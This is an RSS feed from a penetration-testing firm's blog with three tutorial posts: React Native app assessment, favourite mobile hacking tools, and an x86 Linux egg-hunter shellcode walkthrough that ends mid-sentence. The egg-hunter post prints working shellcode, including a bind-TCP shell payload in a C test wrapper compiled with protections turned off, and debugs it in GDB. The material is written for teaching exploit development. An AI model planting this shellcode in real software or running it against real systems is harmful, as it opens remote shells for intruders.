<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by INMUNE7 on Medium]]></title>
        <description><![CDATA[Stories by INMUNE7 on Medium]]></description>
        <link>https://medium.com/@inmune7?source=rss-12ea65f2041e------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*QkYhv5OhSS_0akJ3RjcFFw.png</url>
            <title>Stories by INMUNE7 on Medium</title>
            <link>https://medium.com/@inmune7?source=rss-12ea65f2041e------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 26 Nov 2026 11:10:17 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@inmune7/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com" rel="hub"/>
        <item>
            <title><![CDATA[Attacking React Native Applications- Intro]]></title>
            <link>https://medium.com/@inmune7/attacking-react-native-applications-intro-67f9cd1dada1?source=rss-12ea65f2041e------2</link>
            <guid isPermaLink="false">https://medium.com/p/67f9cd1dada1</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[INMUNE7]]></dc:creator>
            <pubDate>Wed, 08 Mar 2023 12:05:57 GMT</pubDate>
            <atom:updated>2023-03-08T12:05:57.998Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X3AABEFth1rc-laDlwhHmA.jpeg" /><figcaption>Photo by <a href="https://unsplash.com/@sloppyperfectionist?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Hans-Peter Gauster</a> on <a href="https://unsplash.com/s/photos/puzzle?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Unsplash</a></figcaption></figure><p>Depending of the frameworks and technologies in mobile applications, penetration tester can choose a specific methodology to perform a security assessment. With the continuous increasing of applications using React Native, the understanding of this technology is very important to expose and prevent security flaws.</p><p>Thread actors attack mobile application, sucure this apps is very important to prevent security flaws.</p><p>INMUNE7 is proud to help many organizations to identify vulnerability in their systems. Do you know that we can help you ? Just send us an email or use our contact form and we will contact you soon.</p><p><a href="https://www.inmune7.com/contact">INMUNE7 - Penetration Testing | Ethical Hacking</a></p><h4><strong>What is React native</strong></h4><p>A very good definition about what is React native can be found in his webpage.</p><blockquote>React Native is an open source framework for building Android and iOS applications using <a href="https://reactjs.org/">React</a> and the app platform’s native capabilities. With React Native, you use JavaScript to access your platform’s APIs as well as to describe the appearance and behavior of your UI using React components: bundles of reusable, nestable code. You can learn more about React in the next section. But first, let’s cover how components work in React Native.</blockquote><h4>Ways to confirm if an apps is built-in with React Native</h4><p>An important step is determine the technology used by an application, in the case of react native there are different ways to confirm if an application use it, the three most common are:</p><ol><li>Check if the <em>index.android.bundle</em> file exists in decompile <strong>APK</strong></li><li>Check if <em>com.facebook.react</em> is found in <strong>AndroidManifest.xml</strong></li><li>Check if <em>com.facebook.react.devsupport.Devsettings.Activity</em> is found in <strong>AndroidManifest.xml</strong></li></ol><p>You can check (manually) doing this (very easy):</p><pre>$&gt; cat AndroidManifest.xml |  grep &quot;react&quot; <br>&lt;activity android:exported=&quot;true&quot; android:name=&quot;com.facebook.react.devsupport.DevSettingsActivity&quot;/&gt;</pre><p>Also we can automate (our prefer way) with the following python code:</p><pre>def is_react(filepath, project_dir):<br>    &quot;&quot;&quot;&quot;<br>    This function checks if the app is built with react-native.<br>    It checks for the following:<br>    1. If the index.android.bundle file exists in the decompiled apk<br>    2. If the com.facebook.react package is found in AndroidManifest.xml<br>    3. If the com.facebook.react.devsupport.Devsettings.Activity is found in AndroidManifest.xml<br>    If any of the above conditions are met, it returns True.<br>    Else, it returns False.<br>    &quot;&quot;&quot;<br>    detected = False<br>   <br>    # Method 1: Check if the index.android.bundle file exists in decompile apk <br>    if file_exists(project_dir + os.sep + &quot;assets/index.android.bundle&quot;):<br><br>            detected = True<br>            <br>    if detected == False:<br>        with open(filepath) as fh:<br>            content = fh.read()<br>            # try to detect if the app was built with react-native<br>            # Method 2 : Check if com.facebook.react is found in AndroidManifest.xml <br>            if content.find(&quot;com.facebook.react&quot;):<br>                detected = True<br><br>            # Method 3 : Check if com.facebook.react.devsupport.Devsettings.Activity is found in AndroidManifest.xml<br>            elif content.find(&quot;com.facebook.react.devsupport.DevsettingsActivity&quot;):<br>                detected = True<br><br>    if detected == True:<br>        return True<br>    else:<br>        return False</pre><p>Determine the technology used by the application is a very important step before anything.</p><p>There are a very cool tool created by one of our team members <em>h4pp1n3ss</em> called extractor, this tool automate the process and dump all uRL from a given react-native app.</p><p><a href="https://github.com/h4pp1n3ss/extractor">GitHub - h4pp1n3ss/extractor: React native endpoint extractor</a></p><h4>Working with the index.android.bundle file</h4><p>The <em>index.android.bundle</em> is an <strong>uglified and minified </strong>javascript file which contains the majority client-side logic of the application. The full path of the file is <strong><em>com.package/assests/index.android.bundle</em></strong><em> </em>in your APK file.</p><p>By default (like we mention before) this file is <strong>uglified and minified so </strong>is very hard to read, in this case before anything else we must beautify this file, to make it readable.</p><p>A a good tool to beautify is <a href="https://pypi.org/project/jsbeautifier/">jsbeautifier</a>. For example you can import this library in your python code and perform the beautify operation automatically.</p><pre>import jsbeautifier as jb<br>...<br># beautify a file<br>try: <br>        js = jb.beautify_file(file) # file = any ugly js file<br>        with open(out_path, &quot;at&quot;) as f:<br>            f.write(js)<br>        return True<br>    except Exception as err:<br>        print(f&quot;Unexpected {err=}, {type(err)=}&quot;)<br>        raise</pre><p>A <em>index.android.bundle</em> is very large may contains thousands of lines of code many of then define the UI structure of the app, but also contains information about how the application communicate with backend systems.</p><h4>Common security vulnerabilities in React Native Applications</h4><p>There are common security mistakes related to applications built with react native, in the following list there are a few of these:</p><p><em>-Storing Sensitive Information<br>- Selection of Local Storage for data persistence<br>- Deep Linking<br>- Android Specific Security Concerns<br>- IOS Specific Security Concerns<br>- Authentication Methods<br>- SSL Encryption &amp; SSL Pinning</em></p><p>Next steps …</p><p>In a series of post we will going to dive in each of those common security vulnerabilities.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=67f9cd1dada1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Our Top 5 favorites Mobile Hacking Tools]]></title>
            <link>https://medium.com/@inmune7/our-5-favorites-mobile-hacking-tools-78dba7a08a39?source=rss-12ea65f2041e------2</link>
            <guid isPermaLink="false">https://medium.com/p/78dba7a08a39</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[mobile]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[INMUNE7]]></dc:creator>
            <pubDate>Wed, 21 Dec 2022 14:47:26 GMT</pubDate>
            <atom:updated>2023-02-26T03:19:46.326Z</atom:updated>
            <content:encoded><![CDATA[<p>Hacking tools very useful for mobile security.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kytt214rY-Vhjr8SnnHlFg.jpeg" /><figcaption>Photo by <a href="https://unsplash.com/@carlevarino?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Cesar Carlevarino Aragon</a> on <a href="https://unsplash.com/s/photos/tools?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Unsplash</a></figcaption></figure><p>In this article we are going to mention 5 hacking tools that are among our favorites and that we use during our engagement.</p><p>Choosing the right arsenal is vital before tackling any test, depending on the chosen tool we can speed up the results, we can filter for a specific piece of information and easily find the low-hanging fruits. There are also occasions where the tool we choose gives us extensibility, that is, we can extend or take advantage of features to adapt them to the needs we have in a test.</p><p>INMUNE7 is proud to help many organizations to identify vulnerability in their systems. Do you know that we can help you ? Just send us an email or use our contact form and we will contact you soon.</p><p><a href="https://www.inmune7.com/contact">INMUNE7 - Penetration Testing | Ethical Hacking</a></p><h3>1. Androguard</h3><p><a href="https://github.com/androguard/androguard">GitHub - androguard/androguard: Reverse engineering and pentesting for Android applications</a></p><p>This is not a tool is a entire framework. Androguard is a full python tool to play with Android files. You can play with files like:</p><ul><li>DEX, ODEX</li><li>APK</li><li>Android’s binary xml</li><li>Android resources</li><li>Disassemble DEX/ODEX bytecodes</li><li>Decompiler for DEX/ODEX files</li></ul><p>It provides a cli or graphical frontend, or you can use androguard purely as a library for your own tools and scripts (we use this option for automation).</p><p>One useful scenario is use androguard to decode XML files, Android uses a special format to save XML and resource files, the most common AXML file is the AndroidManifest.xml. This file must be part of every APK, and contains the meta-information about the package.</p><p>Let’s go with an example. To decode the AndroidManifest.xml of an APK file, simply give androguard axml the APK file as an argument:</p><pre>androguard axml examples/android/TestsAndroguard/bin/TestActivity.apk</pre><p>The output will look like this:</p><pre>&lt;manifest xmlns:android=&quot;http://schemas.android.com/apk/res/android&quot; android:versionCode=&quot;1&quot; android:versionName=&quot;1.0&quot; package=&quot;tests.androguard&quot;&gt;<br>  &lt;uses-sdk android:minSdkVersion=&quot;9&quot; android:targetSdkVersion=&quot;16&quot;/&gt;<br>  &lt;application android:label=&quot;@7F040001&quot; android:icon=&quot;@7F020000&quot; android:debuggable=&quot;true&quot; android:allowBackup=&quot;false&quot;&gt;<br>    &lt;activity android:label=&quot;@7F040001&quot; android:name=&quot;TestActivity&quot;&gt;<br>      &lt;intent-filter&gt;<br>        &lt;action android:name=&quot;android.intent.action.MAIN&quot;/&gt;<br>        &lt;category android:name=&quot;android.intent.category.LAUNCHER&quot;/&gt;<br>      &lt;/intent-filter&gt;<br>    &lt;/activity&gt;<br>  &lt;/application&gt;<br>&lt;/manifest&gt;</pre><h3>2. Semgrep</h3><p><a href="https://semgrep.dev/">Semgrep App Security Platform | AI-assisted SAST, SCA and Secrets Detection</a></p><p>This tool is AWESOME, it is very practical and extensible. Semgrep or Semgrep CLI is a free open-source static code analysis tool (SAST). It has stable support for Go, Java, JavaScript, JSON, Python, and Ruby.</p><p>Semgrep can be installed with Homebrew or pip. Additionally it can run without installation on Docker. Analysis can be done without the need of custom configuration, and by utilizing rulesets created by r2c and open source contributors. The tool also allows to write our own patterns and rules through the CLI using a pattern language unique to semgrep.</p><p>A good resource related to mobile security is <a href="https://semgrep.dev/p/mobsfscan">MobSF</a> semgrep rules. There are rules to detect for example, root detection, hardcoded api keys, sqlite injection , among others.</p><h3>3. Androbugs</h3><p><a href="https://github.com/AndroBugs/AndroBugs_Framework">GitHub - AndroBugs/AndroBugs_Framework: AndroBugs Framework is an efficient Android vulnerability scanner that helps developers or hackers find potential security vulnerabilities in Android applications. No need to install on Windows.</a></p><p>This is a very good tool and framework. It is a vulnerability scanner to find potential security vulnerabilities in Android application. A very good feature about this tool is <strong>Massive Analysis mode</strong>, which enables you to scan a lot of application at the same time. It is a very old project, the last commit was in 2015 but you can use as a base for your automation.</p><p>By the way behind the scene it use a modified version of <strong>androguard</strong> this is soo COOL.</p><h3>4. MobSF</h3><p><a href="https://github.com/MobSF/Mobile-Security-Framework-MobSF">GitHub - MobSF/Mobile-Security-Framework-MobSF: Mobile Security Framework (MobSF) is an automated, all-in-one mobile application (Android/iOS/Windows) pen-testing, malware analysis and security assessment framework capable of performing static and dynamic analysis.</a></p><p>This list can&#39;t be without this tool. Mobile Security Framework (MobSF) is an automated, all-in-one mobile application (Android/iOS/Windows) pen-testing, malware analysis and security assessment framework capable of performing static and dynamic analysis.</p><p>It is very easy to install and very versatile in the way it can be used. It gives you an overview of the application you are analyzing in a quick and easy way. It can serve as a basis for any type of pentest, even to analyze applications for privacy violations.</p><h3>5. JADX</h3><p>This is our final favorite tool. JADX provides a Command line and GUI tools for producing Java source code from Android Dex and Apk files.</p><p>Main features:</p><ul><li>decompile Dalvik bytecode to java classes from APK, dex, aar, aab and zip files</li><li>decode AndroidManifest.xml and other resources from resources.arsc</li><li>deobfuscator included</li></ul><p>JADX-GUI features:</p><ul><li>view decompiled code with highlighted syntax</li><li>jump to declaration</li><li>find usage</li><li>full text search</li><li>smali debugger, check <a href="https://github.com/skylot/jadx/wiki/Smali-debugger">wiki page</a> for setup and usage</li></ul><p>The GUI tool is in our opinion one of the most complete, and it features speed up the source code analysis of any application.</p><p>Do you know the vulnerabilities of your application? Do you know the risk associated to them? INMUNE7 provides a manual workflow that helps to detect vulnerabilities in Android and iOS mobile apps. Contact us if you need more information.</p><p>If you like this post please follow us on <a href="https://www.linkedin.com/company/inmune7sec/">Linkedin</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=78dba7a08a39" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Egg Hunter: looking for a needle in a haystack]]></title>
            <link>https://medium.com/@inmune7/egg-hunter-looking-for-a-needle-in-a-haystack-949664643103?source=rss-12ea65f2041e------2</link>
            <guid isPermaLink="false">https://medium.com/p/949664643103</guid>
            <category><![CDATA[shellcode]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[assembly]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[INMUNE7]]></dc:creator>
            <pubDate>Thu, 20 Jan 2022 22:45:20 GMT</pubDate>
            <atom:updated>2022-01-20T22:45:20.932Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KhS1A0Y7IVyVzkCK0vTTrg.jpeg" /><figcaption>Photo by <a href="https://unsplash.com/@anniespratt?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Annie Spratt</a> on <a href="https://unsplash.com/s/photos/egg?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Unsplash</a></figcaption></figure><p>In this blog post we&#39;re going to deep into the Egg Hunter Technique. In order to understand what this technique involves we&#39;re going to start defining what is an egg, next we mention what are the requirements to do a success egg hunter and finally we&#39;re going to show you the Egg Hunter in action.</p><h3>The Egg Hunter technique</h3><p>According to [Corelean] “an Egg Hunter is a technique that can be categorized as “staged shellcode”, and it basically allows you to use a small amount of custom shellcode to find your actual (bigger) shellcode (the “egg”) by searching for the final shellcode in memory”.</p><p>Staged shellcode is used when the amount of data injected by the attacker is too limited to execute useful shellcode, so it may be possible to execute it in stages. First, small piece of code is injected by the attacker into memory (stage 1) in a predictable location and executed. This code search the entire VAS (Virtual Address Space) for the larger shellcode (the egg) and executes it.</p><p>During this blog post we going to use the Skape paper called “Safely Searching Process Virtual Address Space”</p><p>Here is the link –&gt; <a href="http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf"><em>http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf</em></a></p><h3>Key concepts</h3><p>Before deep into the egg hunter implementation, we going to mention some important considerations about the egg:</p><h4>1. Egg key size</h4><p>The author (Skape) in his document has determined that it is best to use an eight byte egg. According to the author the main reason is the fact that the implementations for the egg hunting algorithms tend to have a four byte version of the key stored once in the searching code, so is possible to run into the egg hunter code itself if one of the four byte version of the key is accidentally catch by the searching algorithm in the egg hunter.</p><h4>2. Egg key format</h4><p>The egg key was provide in the form of assembler output because some egg hunter implementations require that the key itself be executable assembly code. This is not a rule, some egg hunter implementation like the access (2) revisited do not need an executable egg.</p><p>An example of an eight byte key is as follows:</p><pre>00000000 90 nop<br>    00000001 50 push eax<br>    00000002 90 nop<br>    00000003 50 push eax<br>    00000004 90 nop<br>    00000005 50 push eax<br>    00000006 90 nop<br>    00000007 50 push eax</pre><p>The DWORD 0x50905090 is the 4 byte key used during the egg hunter algorithm.</p><h3>Implementation</h3><p>There are different implementation of egg hunter code, during this post we&#39;re going to use the access syscall technique mentioned in the Skape paper. Is important to know that there are another implementation of egg hunter like sigaction, SEH (Windows), etc, but in this blog we&#39;re going to mention the access method. To get a better understanding about different techniques read the Skape paper.</p><p>The access syscall is one of the technique used by the author. The real purpose of this syscall is to check if the current process has the specific access rights to a given file on the disk. The author found a very cleaver way to abuse the syscall implementation and introduce it in a Egg hunter code.</p><p>The following code is for access syscall egg Hunter:</p><ul><li>Size: 39 bytes</li><li>Executable Egg: Yes</li></ul><pre>global _start</pre><pre>section .text</pre><pre>_start:<br>        mov ebx,0x50905090 <br>        xor ecx, ecx <br>        mul ecx </pre><pre>inc_page:<br>        or dx, 0xfff <br>inc_mem:<br>        inc edx <br>        pusha<br>        lea ebx, [edx + 0x4]<br>        mov al, 0x21 <br>        int 0x80        <br>        cmp al, 0xf2 <br>        popa       <br>        jz inc_page <br>        cmp [edx], ebx <br>        jnz inc_mem <br>        cmp [edx + 0x4], ebx <br>        jnz inc_mem <br>        jmp edx</pre><p>In order to use the egg hunter, the payload must look like this:</p><pre>&quot;\xbb\x90\x50\x90\x50\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f\x42\x60\x8d\x5a\x04\xb0&quot;<br>&quot;\x21\xcd\x80\x3c\xf2\x61\x74\xed\x39\x1a\x75\xee\x39\x5a\x04\x75\xe9\xff\xe2&quot;;</pre><p>I use this objdump command to generate the shellcode</p><pre>objdump -d ./egg|grep &#39;[0-9a-f]:&#39;|grep -v &#39;file&#39;|cut -f2 -d:|cut -f1-6 -d&#39; &#39;|tr -s &#39; &#39;|tr &#39;\t&#39; &#39; &#39;<br>|sed &#39;s/ $//g&#39;|sed &#39;s/ /\\x/g&#39;|paste -d &#39;&#39; -s |sed &#39;s/^/&quot;/&#39;|sed &#39;s/$/&quot;/g&#39;</pre><p>To test the egg hunter we wrap the shellcode into our C wrapper. First we define a constant in C with the name <em>w00f</em> with the EGG TAG. This constant later is putted twice in front of the shellcode (Bind TCP shellcode) doing this we can ensure when the Egg Hunter finds this tag the next code to execute will be the Bind TCP shellcode used in this example.</p><pre>#include&lt;stdio.h&gt;<br>#include&lt;string.h&gt;</pre><pre>#define w00f &quot;\x90\x50\x90\x50&quot; // eTAG </pre><pre>unsigned char ehunter[] = \</pre><pre>// EGG HUNTER access syscall </pre><pre>&quot;\xbb\x90\x50\x90\x50\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f\x42\x60\x8d\x5a\x04\xb0&quot;<br>&quot;\x21\xcd\x80\x3c\xf2\x61\x74\xed\x39\x1a\x75\xee\x39\x5a\x04\x75\xe9\xff\xe2&quot;;<br></pre><pre>unsigned char code[] = w00f w00f \</pre><pre>&quot;\x31\xc0\x31\xdb\x99\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66&quot;  // BIND TCP SHELLCODE<br>&quot;\xcd\x80\x89\xc6\x52\x66\x68\xaa\xaa\x66\x6a\x02\x89\xe1\x6a\x10&quot;  // from assignment 1<br>&quot;\x51\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x52\x56\x89\xe1\xb3\x04&quot;<br>&quot;\xb0\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89&quot;<br>&quot;\xc3\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x52\x68\x2f&quot;<br>&quot;\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x52\x89\xe1\xb0\x0b&quot;<br>&quot;\xcd\x80\x31\xc0\xb0\x01\xb3\x08\xcd\x80&quot;;              <br>   </pre><pre>main()<br>{<br>        printf(&quot;Egg Hunter Length:  %d\n&quot;, strlen(ehunter));<br>        printf(&quot;Shellcode Length:  %d\n&quot;, strlen(code));</pre><pre>        int (*ret)() = (int(*)())ehunter;</pre><pre>        ret();</pre><pre>}</pre><p>We compile the program with this options:</p><p>gcc -m32 -fno-stack-protector -z execstack shellcode.c -o shellcode</p><p>Testing the egg hunter code</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yVgwPubyf99NqiF4PWfYiA.png" /></figure><h3>Analysis</h3><p>We open the program using GDB with the -q option to skip banner information. Using the info functions command we can see the defined functions of the program.</p><p>We set a breakpoint in the main function using the break command.</p><pre>adm@adm-pc:$ gdb -q ./shellcode<br>Reading symbols from ./shellcode...(no debugging symbols found)...done.<br>gdb-peda$ info functions <br>All defined functions:</pre><pre>Non-debugging symbols:<br>0x00001000  _init<br>0x00001030  printf@plt<br>0x00001040  strlen@plt<br>0x00001050  __libc_start_main@plt<br>0x00001060  __cxa_finalize@plt<br>0x00001070  _start<br>0x000010b0  __x86.get_pc_thunk.bx<br>0x000010c0  deregister_tm_clones<br>0x00001100  register_tm_clones<br>0x00001150  __do_global_dtors_aux<br>0x000011a0  frame_dummy<br>0x000011a5  __x86.get_pc_thunk.dx<br>0x000011a9  main<br>0x00001230  __libc_csu_init<br>0x00001290  __libc_csu_fini<br>0x00001294  _fini<br>gdb-peda$ break *main <br>Breakpoint 1 at 0x11a9<br>gdb-peda$</pre><p>We skip until call eax instruction. Basically this instruction pass the control to the ehunter code.</p><pre>[----------------------------------registers-----------------------------------]<br>EAX: 0x404020 --&gt; 0x905090bb  &lt;--- bb 90 50 90 50   mov    ebx,0x50905090 EGG HUNTER CODE<br>EBX: 0x403fd4 --&gt; 0x3edc <br>ECX: 0x0 <br>EDX: 0xb7fb2890 --&gt; 0x0 <br>ESI: 0xb7fb1000 --&gt; 0x1dcd6c <br>EDI: 0xb7fb1000 --&gt; 0x1dcd6c <br>EBP: 0xbffff038 --&gt; 0x0 <br>ESP: 0xbffff020 --&gt; 0x1 <br>EIP: 0x40121c (&lt;main+115&gt;:      call   eax)<br>EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)<br>[-------------------------------------code-------------------------------------]<br>   0x401210 &lt;main+103&gt;: lea    eax,[ebx+0x4c]<br>   0x401216 &lt;main+109&gt;: mov    DWORD PTR [ebp-0xc],eax<br>   0x401219 &lt;main+112&gt;: mov    eax,DWORD PTR [ebp-0xc]<br>=&gt; 0x40121c &lt;main+115&gt;: call   eax<br>   0x40121e &lt;main+117&gt;: mov    eax,0x0<br>   0x401223 &lt;main+122&gt;: lea    esp,[ebp-0x8]<br>   0x401226 &lt;main+125&gt;: pop    ecx<br>   0x401227 &lt;main+126&gt;: pop    ebx<br>No argument<br>[------------------------------------stack-------------------------------------]<br>0000| 0xbffff020 --&gt; 0x1 <br>0004| 0xbffff024 --&gt; 0xbffff0e4 --&gt; 0xbffff2bb (&quot;/home/adm&quot;)<br>0008| 0xbffff028 --&gt; 0xbffff0ec --&gt; 0xbffff2e4 (&quot;LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc&quot;...)<br>0012| 0xbffff02c --&gt; 0x404020 --&gt; 0x905090bb <br>0016| 0xbffff030 --&gt; 0xbffff050 --&gt; 0x1 <br>0020| 0xbffff034 --&gt; 0x0 <br>0024| 0xbffff038 --&gt; 0x0 <br>0028| 0xbffff03c --&gt; 0xb7deeb41 (&lt;__libc_start_main+241&gt;:       add    esp,0x10)<br>[------------------------------------------------------------------------------]<br>Legend: code, data, rodata, value<br>0x0040121c in</pre><p>Using the objdump command, we can see the assembly instructions of the egg hunter code. If you pay attention to the first instruction in the _start section of the egg hunter, this instruction is the egg tag which is save in reverse order (little endian) in the eax register.</p><pre>adm@adm-pc:$ objdump  -d -M intel egg</pre><pre>egg:     file format elf32-i386<br></pre><pre>Disassembly of section .text:</pre><pre>08049000 &lt;_start&gt;:<br> 8049000:       bb 90 50 90 50          mov    ebx,0x50905090 &lt; --- EGG TAG HERE<br> 8049005:       31 c9                   xor    ecx,ecx<br> 8049007:       f7 e1                   mul    ecx</pre><pre>08049009 &lt;inc_page&gt;:<br> 8049009:       66 81 ca ff 0f          or     dx,0xfff</pre><pre>  ...</pre><p>Using the si (step into) command of GDB we can go through the eax register and see our ehunter code.</p><pre>[----------------------------------registers-----------------------------------]<br>EAX: 0x404020 --&gt; 0x905090bb <br>EBX: 0x403fd4 --&gt; 0x3edc <br>ECX: 0x0 <br>EDX: 0xb7fb2890 --&gt; 0x0 <br>ESI: 0xb7fb1000 --&gt; 0x1dcd6c <br>EDI: 0xb7fb1000 --&gt; 0x1dcd6c <br>EBP: 0xbffff038 --&gt; 0x0 <br>ESP: 0xbffff01c --&gt; 0x40121e (&lt;main+117&gt;:       mov    eax,0x0)<br>EIP: 0x404020 --&gt; 0x905090bb<br>EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)<br>[-------------------------------------code-------------------------------------]<br>   0x40401a:    add    BYTE PTR [eax],al<br>   0x40401c:    add    BYTE PTR [eax],al<br>   0x40401e:    add    BYTE PTR [eax],al<br>=&gt; 0x404020 &lt;ehunter&gt;:  mov    ebx,0x50905090   &lt;----- OUR EGG HUNTER CODE BEGIN HERE<br>   0x404025 &lt;ehunter+5&gt;:        xor    ecx,ecx<br>   0x404027 &lt;ehunter+7&gt;:        mul    ecx<br>   0x404029 &lt;ehunter+9&gt;:        or     dx,0xfff<br>   0x40402e &lt;ehunter+14&gt;:       inc    edx<br>[------------------------------------stack-------------------------------------]<br>0000| 0xbffff01c --&gt; 0x40121e (&lt;main+117&gt;:      mov    eax,0x0)<br>0004| 0xbffff020 --&gt; 0x1 <br>0008| 0xbffff024 --&gt; 0xbffff0e4 --&gt; 0xbffff2bb (&quot;/home/adm&quot;)<br>0012| 0xbffff028 --&gt; 0xbffff0ec --&gt; 0xbffff2e4 (&quot;LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc&quot;...)<br>0016| 0xbffff02c --&gt; 0x404020 --&gt; 0x905090bb <br>0020| 0xbffff030 --&gt; 0xbffff050 --&gt; 0x1 <br>0024| 0xbffff034 --&gt; 0x0 <br>0028| 0xbffff038 --&gt; 0x0 <br>[------------------------------------------------------------------------------]<br>Legend: code, data, rodata, value<br>0x00404020 in ehunter ()<br>gdb-peda$</pre><p>But …</p><h3>Where is my shellcode ?</h3><h4>JUMP EDX</h4><p>Well, using the access syscall technique the egg hunter will search the entire VAS until find the EGG TAG which is 0x50905090. If you pay attention to the egg hunter code after some validations the program jump to the edx register.</p><pre>jz inc_page <br>        cmp [edx], ebx <br>        jnz inc_mem <br>        cmp [edx + 0x4], ebx <br>        jnz inc_mem <br>        jmp edx   &lt;- JMP TO MY SHELLCODE</pre><p>We set a breakpoint in the jmp edx instruction and start the program again.</p><pre>gdb-peda$ x/10i $eip <br>=&gt; 0x404039 &lt;ehunter+25&gt;:       popa   <br>   0x40403a &lt;ehunter+26&gt;:       je     0x404029 &lt;ehunter+9&gt;<br>   0x40403c &lt;ehunter+28&gt;:       cmp    DWORD PTR [edx],ebx<br>   0x40403e &lt;ehunter+30&gt;:       jne    0x40402e &lt;ehunter+14&gt;<br>   0x404040 &lt;ehunter+32&gt;:       cmp    DWORD PTR [edx+0x4],ebx<br>   0x404043 &lt;ehunter+35&gt;:       jne    0x40402e &lt;ehunter+14&gt;<br>   0x404045 &lt;ehunter+37&gt;:       jmp    edx                         &lt;--- We set the breakpoint here<br>   0x404047 &lt;ehunter+39&gt;:       add    BYTE PTR [eax],al<br>   0x404049:    add    BYTE PTR [eax],al<br>   0x40404b:    add    BYTE PTR [eax],al<br>gdb-peda$ break *0x404045<br>Breakpoint 2 at 0x404045                        &lt;--- 0x404045 &lt;ehunter+37&gt;:       jmp    edx  <br>gdb-peda$</pre><p>When the compiler hit the breakpoint we can see the values of ebx and edx register which contains our egg tag. In the 0x404040 &lt;ehunter+32&gt; the program compare both registers and if the value is the same go to the jmp 